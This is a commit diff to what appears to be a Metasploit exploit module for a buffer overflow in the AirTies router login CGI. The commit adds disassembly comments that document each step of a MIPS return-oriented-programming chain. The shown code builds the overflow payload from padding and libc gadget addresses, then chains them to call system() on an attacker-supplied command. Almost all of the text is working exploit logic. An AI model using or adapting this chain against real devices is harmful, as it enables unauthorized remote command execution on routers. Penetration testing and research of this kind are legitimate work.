include rop gadget description

Author: m-1-k-3

modules/exploits/linux/http/airties_login_cgi_bof.rb

@@ -89,14 +89,43 @@ def exploit
   def prepare_shellcode(cmd)
     shellcode = rand_text_alpha_upper(target['Offset'])                    # padding
     shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N")     # restore registers with controlled values
+
+                 # 0003FE20                 lw      $ra, 0x48+var_4($sp)
+                 # 0003FE24                 lw      $s7, 0x48+var_8($sp)
+                 # 0003FE28                 lw      $s6, 0x48+var_C($sp)
+                 # 0003FE2C                 lw      $s5, 0x48+var_10($sp)
+                 # 0003FE30                 lw      $s4, 0x48+var_14($sp)
+                 # 0003FE34                 lw      $s3, 0x48+var_18($sp)
+                 # 0003FE38                 lw      $s2, 0x48+var_1C($sp)
+                 # 0003FE3C                 lw      $s1, 0x48+var_20($sp)
+                 # 0003FE40                 lw      $s0, 0x48+var_24($sp)
+                 # 0003FE44                 jr      $ra
+                 # 0003FE48                 addiu   $sp, 0x48
+
     shellcode << rand_text_alpha_upper(36)                                 # padding
     shellcode << [target['LibcBase'] + target['System']].pack("N")         # s0 - system address-1
     shellcode << rand_text_alpha_upper(16)                                 # unused registers $s1 - $s4
     shellcode << [target['LibcBase'] + target['CallSystem']].pack("N")     # $s5 - call system
+
+                 # 00041C10                 move    $t9, $s0
+                 # 00041C14                 jalr    $t9
+                 # 00041C18                 nop
+
     shellcode << rand_text_alpha_upper(8)                                  # unused registers $s6 - $s7
     shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N")  # write sp to $a0 -> parameter for call to system
+
+                 # 000215B8                 addiu   $a0, $sp, 0x20
+                 # 000215BC                 lw      $ra, 0x1C($sp)
+                 # 000215C0                 jr      $ra
+                 # 000215C4                 addiu   $sp, 0x20
+
     shellcode << rand_text_alpha_upper(28)                                 # padding
     shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N")     # add 1 to s0 (calculate system address)
+
+                 # 000111EC                 move    $t9, $s5
+                 # 000111F0                 jalr    $t9
+                 # 000111F4                 addiu   $s0, 1
+
     shellcode << cmd
   end